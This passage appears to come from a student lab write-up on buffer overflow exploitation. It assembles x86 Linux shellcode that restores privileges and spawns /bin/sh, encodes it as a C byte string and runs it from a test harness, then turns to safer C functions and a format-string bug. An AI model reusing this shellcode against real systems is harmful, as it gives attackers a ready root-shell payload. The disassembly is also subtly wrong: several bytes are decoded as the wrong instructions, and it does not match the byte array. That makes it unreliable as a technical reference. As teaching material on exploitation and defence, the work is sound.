To create an executable binary the assembly code must fist be assembled and then linked into an executable format. Since the GCC compiler takes care of all of this automatically we have to do it by hand. The linker program *ld* produces an executable binary *testshell* from the assembled object. Then we have to disassemble the obtained executable to extract the machine instructions.

```
bo@lab$ as testshell.s -o testshell.o
bo@lab$ ld testshell.o -o testshell
bo@lab$ objdump -d testshell
Disassembly of section .text:

08048074 <_start>:
 8048074:        31 c0       xor     %eax, %eax
 8048076:        b0 46       mov     $0x46, %al
 8048078:        31 db       xor     %ebx, %ebx
 804807a:        31 c9       xor     %ecx, %ecx
 804807c:        eb 16       jmp     8048094 <ender>

0804807e <starter>:

 804807e:        5b          pop     %ebx
 804807f:        31 c0       xor     %eax, %eax
 8048081:        88 43 07    mov     %al, 0x7(%ebx)
 8048084:        89 5b 08    mov     %ebx, 0x8(%ebx)
 8048087:        89 43 0c    mov     %eax, 0xc(%ebx)
 804808a:        b0 0b       mov     $0xb, %al
 804808c:        8d 4b 08    lea     0x8(%ebx), %ecx
 804808f:        8d 53 0c    lea     0xc(%ebx), %edx
 8048092:        cd 80       int     $0x80

08048094 <ender>:

 8048094:        e8 e5 ff ff ff    call   804807e <starter>
 8048099:        2f                   das
 804809a:        62 69 6e             bound  %ebp, 0x6e(%ecx)
 804809d:        2f                   das
 804809e:        73 68                jae    8048108 <ender+0x74>
 80480a0:        4e                   dec    %esi
 80480a1:        58                   inc    %ecx
 80480a2:        58                   inc    %ecx
 80480a3:        58                   inc    %ecx
 80480a4:        58                   inc    %ecx
 80480a5:        59                   inc    %edx
 80480a6:        59                   inc    %edx
 80480a7:        59                   inc    %edx
 80480a8:        59                   inc    %edx
```

Next, arrange the machine instructions in char type array (C string).

```
    char code[ ] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
                   "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
                   "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
                   "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
                   "\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59\x59";
```

6.7 Testing

Once we have written the shellcode it is fundamental to test whether it works or not. To do it is sufficient to copy paste it a C program like the one below

```
char code[] = "shellcode goes here!";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}
```

7 Making the code safe

After everything we have said one important thing is missing: how can the programmer avoid bufferoverflow? The answer in theory is simple: by using functions that perform checks on the input size. Here we list some vulnerable functions with the respecting safe version:

Vulnerable	**Safe**
gets	fgets
strcpy	strncpy
sprintf	snprintf
strlen	strnlen
strcat	strncat
strdup	strndup

Then a question rises naturally: why do all the vulnerable functions in the first column exist? The answer is simple: C, as well as C++, has to be fast and in order to be so safety checking are avoided. The task of determining the tradeoff between security and efficiency is delegated to the programmer.

It is important to underline that using the safe functions listed above is not a safety guarantee: as a matter of fact consider this program

```
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strncpy(buf, argv[1], sizeof(buf) - 1);

  printf(buf);

  return 0;
}
```

Here the *strncpy* function is used however there *printf* is badly handled making the program vulnerable to a string format attack. It is fundamental that a programmer is aware of the potential cause of vulnerability in the programming languages he develops with.

8 Conclusions

We started this lab with a mere background of basic C programming. We went through a difficult understanding process of the subject, a trial and error approach and most challenging of all the hard problem of explaining. As a matter of fact, even though concepts were clear in our mind, we had to face a 2 hours constraint of laboratory activity to make understandable a topic we had weeks to think on.
We hope that our work will be helpful to anyone who is interested in Buffer Overflow exploitation but scared by the steep learning curve.

9 References

i) `https://en.wikipedia.org/wiki/Buffer_overflow`

ii) `http://phrack.org/issues/49/14.html`

iii) `http://www.vividmachines.com/shellcode/shellcode.html`

iv) `http://stackoverflow.com`

v) `http://www.tenouk.com/Bufferoverflowc`

vi) `https://www.exploit-db.com/shellcode/`

vii) Erickson, Jon. *Hacking: The Art of Exploitation.* No Starch Press, 2003.